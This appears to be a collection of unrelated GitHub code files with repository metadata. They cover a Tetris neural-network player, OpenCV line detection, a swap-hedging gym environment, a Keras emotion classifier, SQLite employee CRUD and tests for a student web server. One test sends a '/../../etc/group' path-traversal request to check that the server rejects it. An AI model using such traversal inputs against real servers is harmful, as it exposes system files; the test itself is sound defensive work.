0-3)\n rotation = int(_output[1] * 4)\n if rotation == 4:\n rotation -= 1\n position = int(_output[0] * 10)\n\n return position, rotation\n \"\"\"\n # wersja dla 40 wyjść, gdzie każdy output oznacza inną kombinację kolumny i rotacji dla danego tetrimino\n best_index = _output.index(max(_output))\n\n return best_index % 10, best_index // 10\n\n\ndef main(win, net = None): # *\n locked_positions = {}\n grid = tetris.create_grid(locked_positions)\n\n change_piece = False\n run = True\n current_piece = tetris.get_shape()\n next_piece = tetris.get_shape()\n clock = tetris.pygame.time.Clock()\n fall_time = 0\n fall_speed = 0.12 #0.27\n score = 0\n lines = 0\n level = 0\n use_nn = True\n\n while run:\n grid = tetris.create_grid(locked_positions)\n fall_time += clock.get_rawtime()\n clock.tick()\n\n if (lines + 1) % 10 == 0:\n lines = 0\n level += 1\n if fall_speed > 0.12:\n fall_speed -= 0.05\n\n if fall_time / 1000 > fall_speed:\n fall_time = 0\n current_piece.y += 1\n if not (tetris.valid_space(current_piece, grid)) and current_piece.y > 0:\n current_piece.y -= 1\n change_piece = True\n\n for event in tetris.pygame.event.get():\n if event.type == tetris.pygame.QUIT:\n run = False\n tetris.pygame.display.quit()\n\n if (use_nn):\n predict_position, predict_rotation = get_output(net, grid, current_piece, next_piece)\n position_difference = predict_position - current_piece.x\n rotation_difference = abs(predict_rotation - current_piece.rotation % 4)\n #print(predict_position, predict_rotation)\n use_nn = False\n\n\n # obracamy tetrimino\n if rotation_difference != 0:\n current_piece.rotation += 1\n rotation_difference -= 1\n if not (tetris.valid_space(current_piece, grid)):\n current_piece.rotation -= 1\n rotation_difference = 0\n\n # przesuwamy tetrimino\n if abs(position_difference) != 0:\n delta = int(1 * numpy.sign(position_difference))\n current_piece.x += delta\n position_difference -= delta\n if not (tetris.valid_space(current_piece, grid)):\n current_piece.x -= delta\n position_difference += delta\n position_difference = 0\n # print(position_difference, current_piece.x)\n\n \"\"\"\n # zrzucenie klocka na pozycje\n if abs(position_difference) == 0 and rotation_difference == 0:\n while tetris.valid_space(current_piece, grid):\n current_piece.y += 1\n current_piece.y -= 1\n \"\"\"\n shape_pos = tetris.convert_shape_format(current_piece)\n\n for i in range(len(shape_pos)):\n x, y = shape_pos[i]\n if y > -1:\n grid[y][x] = current_piece.color\n\n if change_piece:\n for pos in shape_pos:\n p = (pos[0], pos[1])\n locked_positions[p] = current_piece.color\n #print(locked_positions)\n current_piece = next_piece\n next_piece = tetris.get_shape()\n change_piece = False\n use_nn = True\n cleared_lines = tetris.clear_rows(grid, locked_positions)\n score += tetris.calculate_score(cleared_lines, level)\n lines += cleared_lines\n\n tetris.draw_window(win, grid, score)\n tetris.draw_next_shape(next_piece, win)\n tetris.pygame.display.update()\n\n if tetris.check_lost(locked_positions):\n tetris.draw_text_middle(win, \"YOU LOST!\", 80, (255, 255, 255))\n tetris.pygame.display.update()\n tetris.pygame.time.delay(1500)\n run = False\n\n\nwin = tetris.pygame.display.set_mode((tetris.s_width, tetris.s_height))\ntetris.pygame.display.set_caption('Tetris')\n\n# ustawienie pliku konfiguracyjnego\nconfig = neat.Config(neat.DefaultGenome, neat.DefaultReproduction,\n neat.DefaultSpeciesSet, neat.DefaultStagnation,\n '.\\\\configs\\\\config-5')\n\nwith open(\".\\\\winner.pkl\", \"rb\") as f:\n winner = pickle.load(f)\n\nnet = neat.nn.FeedForwardNetwork.create(winner, config)\n\nmain(win, net)\n","repo_name":"jzielins97/project_tetris","sub_path":"play_ai.py","file_name":"play_ai.py","file_ext":"py","file_size_in_byte":5528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"32258438494","text":"def main():\r\n x = int(input(\"Type your favorite number: \"))\r\n y = int(input(\"Type your next favorite number: \"))\r\n if x % y == 0:\r\n print(\"You are wise beyond your years...\")\r\n else:\r\n print(\"You will fail an enumerous times...\")\r\n\r\n if x // y > 5:\r\n print(\"You will be very successful...\")\r\n else:\r\n print(\"I hope the back of your car is comfortable...\")\r\n\r\n if x == y:\r\n print(\"You are lame...\")\r\n if x != y:\r\n print(\"Goodbye\")\r\n\r\nmain()","repo_name":"robert-bayer/CPSCIClassWork","sub_path":"Module6ClassActivity1_Robert.py","file_name":"Module6ClassActivity1_Robert.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"44918904664","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport math\n\nimage_file = \"../MantecaRoom1/Images/room1sliceCollapseZmeshp05NB.png\"\n# image_file = \"../MantecaRoom1/Images/room1collapseZTp25meshp1_ChrisMessedUp.png\"\n# image_file = \"../MantecaDock/Images/dockCollapseZmeshp05NB.png\"\nimg = cv2.imread(image_file, 0)\nheight, width = img.shape\nprint(height, width)\n# ret, thresh = cv2.threshold(img, 127, 255, 0)\n# contours, hierarchy = cv2.findContours(thresh, 1, 2)\n# cnt = contours[0]\n# gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n#\n# gray = np.float32(gray)\nedges = cv2.Canny(img, 50, 200, apertureSize=3)\nminLineLength = 10\nlines = cv2.HoughLinesP(image=edges, rho=1, theta=np.pi / 1800, threshold=50, lines=np.array([]),\n minLineLength=minLineLength, maxLineGap=25)\n\n# rect = cv2.minAreaRect(img)\n# box = cv2.boxPoints(rect)\n# box = np.int0(box)\n# cv2.drawContours(img,[box],0,(0,0,255),2)\n# ref https://docs.opencv.org/3.1.0/dd/d49/tutorial_py_contour_features.html\n\n# corner harris ref https://docs.opencv.org/3.0-beta/doc/py_tutorials/py_feature2d/py_features_harris/py_features_harris.html\nr0 = [384, -358]\nr1 = [546, -550]\nr2 = [567, -294]\nr3 = [381, -102]\nslope = []\nx_zero = []\ny_zero = []\n\na, b, c = lines.shape\nfor i in range(a):\n # cv2.line(img, (lines[i][0][0], lines[i][0][1]), (lines[i][0][2], lines[i][0][3]), (0, 0, 255), 1, cv2.LINE_AA)\n p0 = (lines[i][0][0], -lines[i][0][1])\n p1 = (lines[i][0][2], -lines[i][0][3])\n # print(p0, p1)\n x0 = p0[0]\n y0 = p0[1]\n x1 = p1[0]\n y1 = p1[1]\n m = (y1 - y0) / (x1 - x0)\n # print(m)\n al = -m\n bl = 1\n cl = m * x0 - y0\n # print(-y0)\n # print(m * x0)\n slope.append(float(m))\n x_zero.append(float(-y0))\n y_zero.append(m * float(x0))\n # print(al * x0 + bl * y0 + cl)\n # print(al * x1 + bl * y1 + cl)\n\n# corners = cv2.cornerHarris(img, 2, 3, .04)\n# corners = cv2.dilate(corners, None)\n#\n# img[corners > 0.01*corners.max()] = [0, 0, 255]\n\n### start Chris' stuff\n\n# start_x = min([int(i) for i in x_zero])\n# end_x = max([int(i) for i in x_zero])\n# start_y = min([int(i) for i in y_zero])\n# end_y = max([int(i) for i in y_zero])\n#\n# (amt_x, val_x, patches_x) = plt.hist(x_zero, bins=range(start_x, end_x))\n# (amt_y, val_y, patches_y) = plt.hist(y_zero, bins=range(start_y, end_y))\n#\n# coords_aty0 = val_y[np.argmax(amt_y)]\n#\n# indices = [i for i, y in enumerate(y_zero) if math.floor(y) == coords_aty0]\n# slope_list = []\n# for indx in indices:\n# slope_list.append(slope[indx])\n#\n# fig, ax = plt.subplots()\n# img = mpimg.imread(image_file)\n# print(img.shape)\n# ax.imshow(img)\n#\n# x_vals = np.array(ax.get_xlim())\n# y_vals = coords_aty0 + -np.mean(slope_list) * x_vals\n#\n# ax.plot(x_vals, y_vals, 'r-')\n# ax.invert_yaxis()\n# # pdb.set_trace()\n# plt.show()\n## end Chris' method\n\na, b, c = lines.shape\nfor i in range(a):\n cv2.line(img, (lines[i][0][0], lines[i][0][1]), (lines[i][0][2], lines[i][0][3]), (0, 0, 255), 1, cv2.LINE_AA)\n p0 = (lines[i][0][0], -lines[i][0][1])\n p1 = (lines[i][0][2], -lines[i][0][3])\n # print(p0, p1)\n x0 = p0[0]\n y0 = p0[1]\n x1 = p1[0]\n y1 = p1[1]\n m = (y1 - y0) / (x1 - x0)\n # print(m)\n al = -m\n bl = 1\n cl = m * x0 - y0\n# print(al * x0 + bl * y0 + cl)\n# print(al * x1 + bl * y1 + cl)\n\n# rect = cv2.minAreaRect(cnt)\n# box = cv2.boxPoints(rect)\n# box = np.int0(box)\n# cv2.drawContours(img, [box], 0, (0, 0, 255), 2)\n\n\n# corners = cv2.cornerHarris(img, 2, 3, .04)\n# corners = cv2.dilate(corners, None)\n#\n# img[corners > 0.01*corners.max()] = [0, 0, 255]\n\n\ncv2.namedWindow(image_file, cv2.WINDOW_NORMAL)\ncv2.resizeWindow(image_file, 600, 600)\n\ncv2.imshow(image_file, img)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"vinitranjan1/PointCloudProcessing","sub_path":"Tests/TestOpenCV.py","file_name":"TestOpenCV.py","file_ext":"py","file_size_in_byte":3756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31644448851","text":"from urllib import request\nimport unittest\nimport os\n\nBASEURL = \"http://127.0.0.1:8080\"\n\nclass TestYourWebserver(unittest.TestCase):\n def setUp(self,baseurl=BASEURL):\n \"\"\"do nothing\"\"\"\n self.baseurl = baseurl\n\n def test_get_root(self):\n url = self.baseurl + \"/\"\n req = request.urlopen(url, None, 3)\n self.assertTrue( req.getcode() == 200 , \"200 OK Not FOUND!\")\n\n def test_get_deep(self):\n url = self.baseurl + \"/deep/\"\n req = request.urlopen(url, None, 3)\n self.assertTrue( req.getcode() == 200 , \"200 OK Not FOUND!\")\n\n\n def test_get_index(self):\n url = self.baseurl + \"/index.html\"\n req = request.urlopen(url, None, 3)\n self.assertTrue( req.getcode() == 200 , \"200 OK Not FOUND!\")\n\n def test_get_404(self):\n url = self.baseurl + \"/do-not-implement-this-page-it-is-not-found\"\n try:\n req = request.urlopen(url, None, 3)\n self.assertTrue( False, \"Should have thrown an HTTP Error!\")\n except request.HTTPError as e:\n self.assertTrue( e.getcode() == 404 , (\"404 Not FOUND! %d\" % e.getcode()))\n else:\n self.assertTrue( False, \"Another Error was thrown!\")\n\n def test_get_group(self):\n \"\"\" how secure are you? \"\"\"\n url = self.baseurl + \"/../../../../../../../../../../../../etc/group\"\n try:\n req = request.urlopen(url, None, 3)\n self.assertTrue( False, \"Should have thrown an HTTP Error! [%d]\" % req.getcode())\n except request.HTTPError as e:\n self.assertTrue( e.getcode() == 404 , (\"404 Not FOUND! %d\" % e.getcode()))\n else:\n self.assertTrue( False, \"Another Error was thrown!\")\n\n def test_css(self):\n url = self.baseurl + \"/base.css\"\n req = request.urlopen(url, None, 3)\n self.assertTrue( req.getcode() == 200 , \"200 OK Not FOUND!\")\n self.assertTrue( req.info().get_content_type() == \"text/css\", (\"Bad mimetype for css! %s\" % req.info().get_content_type()))\n\n def test_405(self):\n url = self.baseurl + \"/base.css\"\n post = request.Request(url=url, data=b'Whatever',method='PUT')\n try:\n req = request.urlopen(post, None, 3)\n self.assertTrue( req.getcode() == 405 , (\"405 Not FOUND! %d\" % req.getcode()))\n self.assertTrue( False, \"Should have thrown an HTTP 405 Error for /deep.css!\")\n except request.HTTPError as e:\n self.assertTrue( e.getcode() == 405 , (\"405 Not FOUND! %d\" % e.getcode()))\n\n # CMPUT404W19 did not have to pass to this\n def test_deep_no_end(self):\n url = self.baseurl + \"/deep\"\n expected_url = self.baseurl + \"/deep/\"\n try:\n req = request.urlopen(url, None, 3)\n code = req.getcode() \n if code >= 200 and code <= 299 and req.geturl() == expected_url:\n self.assertTrue(True, \"The library has redirected for us\")\n else:\n self.assertTrue(False, \"The URL hasn't changed %s %s\" % (code,req.geturl()))\n except request.HTTPError as e:\n code = e.getcode() \n self.assertTrue( code >= 300 and code < 400, \"300ish Not FOUND! %s\" % code)\n\n def test_html(self):\n url = self.baseurl + \"/index.html\"\n req = request.urlopen(url, None, 3)\n self.assertTrue( req.getcode() == 200 , \"200 OK Not FOUND!\")\n self.assertTrue( req.info().get_content_type() == \"text/html\", (\"Bad mimetype for html! %s\" % req.info().get_content_type()))\n\n def test_hardcode(self):\n os.system(\"cp -r www/deep www/hardcode\")\n url = self.baseurl + \"/hardcode/index.html\"\n req = request.urlopen(url, None, 3)\n self.assertTrue( req.getcode() == 200 , \"200 OK Not FOUND! Hardcoding? /hardcode/index.html\")\n self.assertTrue( req.info().get_content_type() == \"text/html\", (\"Bad mimetype for html! %s\" % req.info().get_content_type()))\n url = self.baseurl + \"/hardcode/\"\n req = request.urlopen(url, None, 3)\n self.assertTrue( req.getcode() == 200 , \"200 OK Not FOUND! Hardcoding? /hardcode/\")\n self.assertTrue( req.info().get_content_type() == \"text/html\", (\"Bad mimetype for html! %s\" % req.info().get_content_type()))\n\n def test_hardcode2(self):\n url = self.baseurl + \"/deep.css\"\n try:\n req = request.urlopen(url, None, 3)\n self.assertTrue( False, \"Should have thrown an HTTP Error for /deep.css!\")\n except request.HTTPError as e:\n self.assertTrue( e.getcode() == 404 , (\"404 Not FOUND! %d\" % e.getcode()))\n else:\n self.assertTrue( False, \"Another Error was thrown!\")\n url = self.baseurl + \"/deep/deep\"\n try:\n req = request.urlopen(url, None, 3)\n self.assertTrue( False, \"Should have thrown an HTTP Error for /deep/deep!\")\n except request.HTTPError as e:\n self.assertTrue( e.getcode() == 404 , (\"404 Not FOUND! %d\" % e.getcode()))\n else:\n self.assertTrue( False, \"Another Error was thrown!\")\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"abramhindle/CMPUT404-assignment-webserver","sub_path":"not-free-tests.py","file_name":"not-free-tests.py","file_ext":"py","file_size_in_byte":5139,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"62"} +{"seq_id":"73409663877","text":"import random\nimport json\nimport gym\nfrom gym import spaces\nimport pandas as pd\nimport numpy as np\nimport copy\nMax_delta = 10000\nMax_reward = 10000000000\nMax_value = 10\nB1_limit = 10000\nB2_limit = 10000\nB3_limit = 15000\nB4_limit = 20000\nB_total = 25000\ntime_max = 1000\n\nMax_steps = 20000\n\nclass IRSwap_10Y(gym.Env):\n \"\"\"An IRS SWAP Trading for OpenAI gym\"\"\"\n metadata = {'render.modes': ['human']}\n\n def __init__(self, df):\n \"\"\" Initialisation of all variables of our Model\"\"\"\n super(IRSwap_10Y, self).__init__()\n self.df = df\n self.reward_range = (-Max_reward, Max_reward)\n self.action_space = spaces.Box(\n low=np.zeros(20), high=np.ones(20), dtype=np.float32)\n self.observation_space = spaces.Box(\n low=-1, high=1, shape=(6, 10), dtype=np.float16)\n open('output.csv','w')\n\n def _next_observation(self):\n \"\"\" Get the daliy rate of the Interst rate Swap\n for the last 3 days and scale to between 0-1\"\"\"\n frame = np.array([\n self.df.loc[self.current_step: self.current_step +\n 2, '1Y'].values / Max_value,\n self.df.loc[self.current_step: self.current_step +\n 2, '2Y'].values / Max_value,\n self.df.loc[self.current_step: self.current_step +\n 2, '3Y'].values / Max_value,\n self.df.loc[self.current_step: self.current_step +\n 2, '4Y'].values / Max_value,\n self.df.loc[self.current_step: self.current_step +\n 2, '5Y'].values / Max_value,\n self.df.loc[self.current_step: self.current_step +\n 2, '6Y'].values / Max_value,\n self.df.loc[self.current_step: self.current_step +\n 2, '7Y'].values / Max_value,\n self.df.loc[self.current_step: self.current_step +\n 2, '8Y'].values / Max_value,\n self.df.loc[self.current_step: self.current_step +\n 2, '9Y'].values / Max_value,\n self.df.loc[self.current_step: self.current_step +\n 2, '10Y'].values / Max_value,\n ]).T\n\n \"\"\" Append additional data and scale each value to between 0-1\"\"\"\n obs1 = np.append(frame, np.reshape(self.delta, (1, 10)) / Max_delta , axis=0)\n obs2 = np.append(obs1, np.reshape(self.delta_variation, (1, 10)) / Max_delta , axis=0)\n obs = np.append( obs2, self.mtm * np.ones((1, 10))/ (Max_delta * Max_value), axis=0)\n return obs\n\n def _take_action(self, action):\n \"\"\" There is three actio for each maturity.\n Increase delta, decrease delta or left it constanat\"\"\"\n for i in range(10):\n action_type = action[2 * i]\n amount = action[2 * i + 1]\n if action_type < 1/3.0:\n self.delta_variation[i] = amount * abs(self.delta[i])\n elif action_type < 2/3.0:\n self.delta_variation[i] = -amount * abs(self.delta[i])\n else:\n self.delta_variation[i] = 0\n \"\"\" We add here a wite noise because we remark that the\n model give us quickly constant and null deltas \"\"\"\n noise = (1/20) * np.random.randn(10) * B_total\n self.delta_variation += noise\n self.delta += self.delta_variation\n\n \n def step(self, action):\n \"\"\" Execute one time step within the environment\"\"\" \n self._take_action(action)\n time = 0\n \"\"\" Before takin actions, we have to verify that our buckets are in the imposed ranges.\n Otherwise we have to take another action.\"\"\"\n while ((abs(self.delta[0] + self.delta[1]) > B1_limit)\n or (abs(self.delta[2] + self.delta[3] + self.delta[4]) > B2_limit)\n or (abs(self.delta[5] + self.delta[6]) > B3_limit)\n or (abs(self.delta[7] + self.delta[8] + self.delta[9]) > B4_limit)\n or (abs(np.sum(self.delta)) > B_total)) and (time < time_max):\n self.delta -= self.delta_variation\n self._take_action(action)\n time += 1\n if time == time_max:\n self.delta -= self.delta_variation\n self.delta_variation = np.zeros(10)\n self.current_step += 1\n if self.current_step > len(self.df.loc[:, '1Y'].values) - 3:\n self.current_step = 0\n delay_modifier = self.current_step / Max_steps\n self.pnl += np.vdot(self.delta_variation, np.arange(1, 11)) * 0.05 * 0.01\n if self.current_step == 0:\n self.mtm = np.vdot(self.delta, np.array([self.df.loc[self.current_step, '1Y':].values ]).reshape(10))\n else:\n self.mtm = np.vdot(self.delta,\n np.array([self.df.loc[self.current_step, '1Y':].values ]).reshape(10) - np.array([self.df.loc[self.current_step - 1, '1Y':].values ]).reshape(10)\n )\n self.pnl += self.mtm\n \"\"\" Calculate reward, where reward increase if PnL increase \"\"\"\n if self.pnl > self.pnl_ancien :\n reward = 100\n elif self.pnl == self.pnl_ancien:\n reward = -10\n else:\n reward = -100\n done = (self.pnl < -1000000)\n obs = self._next_observation()\n self.pnl_ancien = self.pnl\n return obs, reward, done, {}\n\n def reset(self):\n #Set delta\n self.delta = 0.01 * np.random.randn(10) * B1_limit\n # Set PNL\n self.pnl = 0\n self.step_numbers = 0\n self.pnl_ancien = 0\n self.mtm = 0\n self.delta_variation = np.zeros(10)\n self.current_step = random.randint(\n 0, len(self.df.loc[:, '1Y'].values) - 3)\n self.step_init = copy.copy(self.current_step)\n return self._next_observation()\n \n\n def render(self, mode='human', close=False):\n # Render the environment to the screen\n self.step_numbers = -(self.step_init - self.current_step)\n print(f'Step: {self.step_numbers}')\n print(f'PNL: {self.pnl}')\n print(f'deltas: {self.delta} ')\n sortie = str(self.current_step) + ','\n for i in range(10):\n sortie += str(self.delta[i]) + ','\n sortie += str(self.pnl) + '\\n'\n open('output.csv','a').write(sortie)\n\n \n\n\n","repo_name":"yasmineholb/IRS-Delta-Hedging","sub_path":"env/IRSwap_10Y.py","file_name":"IRSwap_10Y.py","file_ext":"py","file_size_in_byte":6335,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"38189240302","text":"import argparse, os\nimport numpy as np\nfrom SemanticPOSS.map_SemanticPOSS_to_CL import SEMANTICPOSS_TO_CL\n\nlabels = 'labels/'\npc = 'velodyne/'\nextension = '.bin'\n\ndef read_and_apply_CL(root,seq,frame):\n frame_name = str(int(frame)).zfill(6) + extension\n seq_name = os.path.join(root, str(int(seq)).zfill(2))\n\n path_pc = os.path.join(seq_name, os.path.join(pc, frame_name))\n path_labels = os.path.join(seq_name, os.path.join(labels, frame_name))\n\n pointcloud = np.fromfile(path_pc, dtype=np.float32, count=-1).reshape([-1,4])\n labels_read = np.fromfile(path_labels, dtype=np.uint32)\n sem_label = labels_read & 0xFFFF \n coarse_sem_label = np.zeros(sem_label.shape)\n\n for k in range(len(sem_label)):\n coarse_sem_label[k] = SEMANTICPOSS_TO_CL[sem_label[k]]\n\n coarse_sem_label = coarse_sem_label.astype(np.int)\n\n return coarse_sem_label\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--sequence\", \"-s\", help=\"sequence number we want to check\", default=\"00\")\n parser.add_argument(\"--frame\", \"-f\", help=\"frame number we want to check\", default=\"000000\")\n parser.add_argument(\"--directory\", \"-d\", help=\"location of the semanticPOSS folder\")\n parser.add_argument(\"--saved\", help=\"flag to save or not the relabelized frame\", default=False)\n args = parser.parse_args()\n\n root_path = os.path.join(args.directory,'SemanticPOSS/dataset/sequences/')\n coarse_sem_label = read_and_apply_CL(root_path, args.sequence, args.frame)\n\n if args.saved:\n np.save('semanticPOSS_{}_{}_to_macro.bin'.format(args.sequence,args.frame), coarse_sem_label)\n ","repo_name":"JulesSanchez/CoarseLabel","sub_path":"SemanticPOSS/map_SemanticPOSS_to_CL.py","file_name":"map_SemanticPOSS_to_CL.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"62"} +{"seq_id":"18750660148","text":"import pandas as pd\nimport numpy as np\nimport random\nfrom keras import optimizers\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, BatchNormalization, Activation\n\n## CNN 모델로 해보자 유명한걸로\n# Initialize the CNN\nmodel = Sequential()\n# Step 1 - Convolution\nmodel.add(Conv2D(32, (3, 3), input_shape=(64,64,3), padding='same'))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(Conv2D(32, (3, 3), padding='same'))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2), strides=(2,2)))\n\nmodel.add(Conv2D(64, (3, 3), padding='same'))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(Conv2D(64, (3, 3), padding='same'))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2), strides=(2,2)))\n\nmodel.add(Conv2D(128, (3, 3), padding='same'))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(Conv2D(128, (3, 3), padding='same'))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2), strides=(2,2)))\n\nmodel.add(Conv2D(256, (3, 3), padding='same'))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(Conv2D(256, (3, 3), padding='same'))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2), strides=(2,2)))\n# Step 3 - Flattening\nmodel.add(Flatten())\n# Step 4 - Full connection\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dense(7, activation='softmax'))\nprint(model.summary())\n# Complie the CNN\nmodel.compile(optimizer='adam', loss='categorical_crossentropy', metrics= ['accuracy'])\n\n# Fitting the CNN to the images\n# class 0:Anger, 1:Disgust, 2:Fear, 3:Happy, 4:Neutral, 5:Sad, 6:Surprise\nfrom keras.preprocessing.image import ImageDataGenerator\n\ntrain_datagen = ImageDataGenerator(rescale=1./255, shear_range=0.2, zoom_range=0.2, horizontal_flip=True)\ntest_datagen = ImageDataGenerator(rescale=1./255)\n\ntraining_set = train_datagen.flow_from_directory('E:/[2] 연구/[3] Facial/training_set',\n target_size=(64,64),\n batch_size=32,\n class_mode='categorical')\ntest_set = test_datagen.flow_from_directory('E:/[2] 연구/[3] Facial/test_set',\n target_size=(64,64),\n batch_size=32,\n class_mode='categorical')\n\nmodel.fit_generator(training_set,\n steps_per_epoch=(280098//32),\n epochs=50,\n validation_data=test_set,\n validation_steps=20)\n\n\nmodel.save(\"model2.h5\")\nprint(\"Saved model to disk\")","repo_name":"xownsxowns/TAEJUN-PROJECT","sub_path":"3.PROJECT/Face and object detection/Face detection & emotion recognition/FER_CNN.py","file_name":"FER_CNN.py","file_ext":"py","file_size_in_byte":2924,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"39117637216","text":"import sqlite3\nfrom data_create import *\n\ndef input_data():\n\tconn = sqlite3.connect(r\"HomeWork\\HomeWork_8\\work.db\")\n\tcursor = conn.cursor()\n\tprint(\"Подключен к SQLite\")\n\tsurname_input = surname_data()\n\tname_input = name_data()\n\tgender_input = gender_data()\n\tb_day_input = b_day_data()\n\taddress_input = address_data()\n\tphone_input = phone_data()\n\tstatus_input = status_data()\n\tpos_input = position_data()\n\tcursor.execute('CREATE TABLE IF NOT EXISTS workers'\n\t\t\t\t'(worker_id INTEGER PRIMARY KEY AUTOINCREMENT, surname TEXT NOT NULL, name TEXT NOT NULL,'\n\t\t\t\t'gender TEXT, b_day TEXT, address TEXT, phone TEXT, status TEXT, position TEXT NOT NULL)')\n\tcursor.execute(\"\"\"INSERT INTO workers (surname, name, gender, b_day, address, phone, status, position)\n\t\t\t\tVALUES (?, ?, ?, ?, ?, ?, ?, ?)\"\"\", (surname_input, name_input,\n\t\t\t\tgender_input, b_day_input, address_input, phone_input, status_input, pos_input))\n\tconn.commit()\n\tcursor.close()\n\tconn.close()\n\tprint('Данные сохранены')\n\tprint(\"Соединение с SQLite закрыто\")\n\ndef delete_data():\n\tconn = sqlite3.connect(r'HomeWork\\HomeWork_8\\work.db')\n\tcursor = conn.cursor()\n\tprint(\"Подключен к SQLite\")\n\toption = int(input('1 - удалить по уникальному номеру\\n2 - удалить по фамилии\\n-> '))\n\tif option == 1:\n\t\tworker_id_del = int(input('Введите ID работника, которого необходимо удалить из базы -> '))\n\t\tcursor.execute(\"DELETE from workers where worker_id = ?\", [worker_id_del])\n\telse:\n\t\tsurname_del = input('Введите фамилию работника, которого необходимо удалить -> ')\n\t\tcursor.execute(\"SELECT worker_id, surname, name FROM workers WHERE surname = ?\",[surname_del])\n\t\tprint(cursor.fetchall())\n\t\tworker_id_del = int(input('Введите ID работника, которого необходимо удалить из базы -> '))\n\t\tcursor.execute(\"DELETE from workers where worker_id = ?\", [worker_id_del])\n\t\t\n\tconn.commit()\n\tprint(\"Запись успешно удалена\")\n\tcursor.close()\n\tconn.close()\n\tprint(\"Соединение с SQLite закрыто\")\n\ndef find_data():\n\tconn = sqlite3.connect(r'HomeWork\\HomeWork_8\\work.db')\n\tcursor = conn.cursor()\n\tprint(\"Подключен к SQLite\")\n\tsurname_find = input('Введите фамилию работника, которого необходимо найти -> ')\n\tcursor.execute(\"SELECT * FROM workers WHERE surname = ?\",[surname_find])\n\tresult = cursor.fetchall()\n\tprint(result)\n\tcursor.close()\n\tconn.close()\n\tprint(\"Соединение с SQLite закрыто\")\n\ndef change_data():\n\tconn = sqlite3.connect(r'HomeWork\\HomeWork_8\\work.db')\n\tcursor = conn.cursor()\n\tprint(\"Подключен к SQLite\")\n\tid_input = id_data()\n\tsurname_input = surname_data()\n\tname_input = name_data()\n\tgender_input = gender_data()\n\tb_day_input = b_day_data()\n\taddress_input = address_data()\n\tphone_input = phone_data()\n\tstatus_input = status_data()\n\tpos_input = position_data()\n\tcursor.execute(\"\"\"UPDATE workers set surname = ?, name = ?, gender = ?,\n\t\t\t\t\tb_day = ?, address = ?, phone = ?, status = ?, position = ?\n\t\t\t\t\tWHERE worker_id = ?\"\"\", (surname_input, name_input,\n\t\t\t\t\tgender_input, b_day_input, address_input, phone_input, status_input, pos_input, id_input))\n\tconn.commit()\n\tcursor.close()\n\tconn.close()\n\tprint(\"Запись успешно обновлена\")\n\tprint(\"Соединение с SQLite закрыто\")\n\ndef print_data():\n\tconn = sqlite3.connect(r\"HomeWork\\HomeWork_8\\work.db\")\n\tcursor = conn.cursor()\n\tprint(\"База сотрудников: \")\n\tsql = \"SELECT * FROM workers\"\n\tcursor.execute(sql)\n\tprint(cursor.fetchall())","repo_name":"AlexandraKazakova/HomeWork_Python","sub_path":"HomeWork_8/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":3731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15539502245","text":"\"\"\"\nThe argument that is passed to `python3.7 run.py --env=ARGUMENT`\nis parsed here and that how script defines which config to use,\nbecause we may have several, one for each environment\n\"\"\"\nimport argparse\n\nimport os\nimport yaml\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--env', help='set environment variable')\nargs = parser.parse_args()\n\ntry:\n ENV = args.env.lower()\n # Add your new config_name to the IF's list below\n if ENV not in ('dev', 'prod'):\n raise Exception(\"Acceptable --env values are: dev, prod\")\nexcept AttributeError:\n raise AttributeError(\"Script should be runned with '--env=ENV_VARIABLE' argument\")\n\nconfig_dir = os.path.dirname(__file__)\n\nif ENV == 'dev':\n application_config_file = os.path.join(config_dir, os.path.join('dev', 'config.yaml'))\n tables_to_load = os.path.join(config_dir, os.path.join('dev', 'tables_to_load.yaml'))\n with open(application_config_file, 'r', encoding='utf-8') as stream:\n ETL_CONFIG = yaml.safe_load(stream)\n with open(tables_to_load, 'r', encoding='utf-8') as stream:\n TABLES_TO_LOAD = yaml.safe_load(stream)\n project_abs_path = os.path.dirname(os.path.dirname(__file__))\n\nelif ENV == 'prod':\n application_config_file = os.path.join(config_dir, os.path.join('prod', 'config.yaml'))\n tables_to_load = os.path.join(config_dir, os.path.join('prod', 'tables_to_load.yaml'))\n with open(application_config_file, 'r', encoding='utf-8') as stream:\n ETL_CONFIG = yaml.safe_load(stream)\n with open(tables_to_load, 'r', encoding='utf-8') as stream:\n TABLES_TO_LOAD = yaml.safe_load(stream)\n project_abs_path = os.path.dirname(os.path.dirname(__file__))\n\n# elif ENV == 'your_new_config':\n# 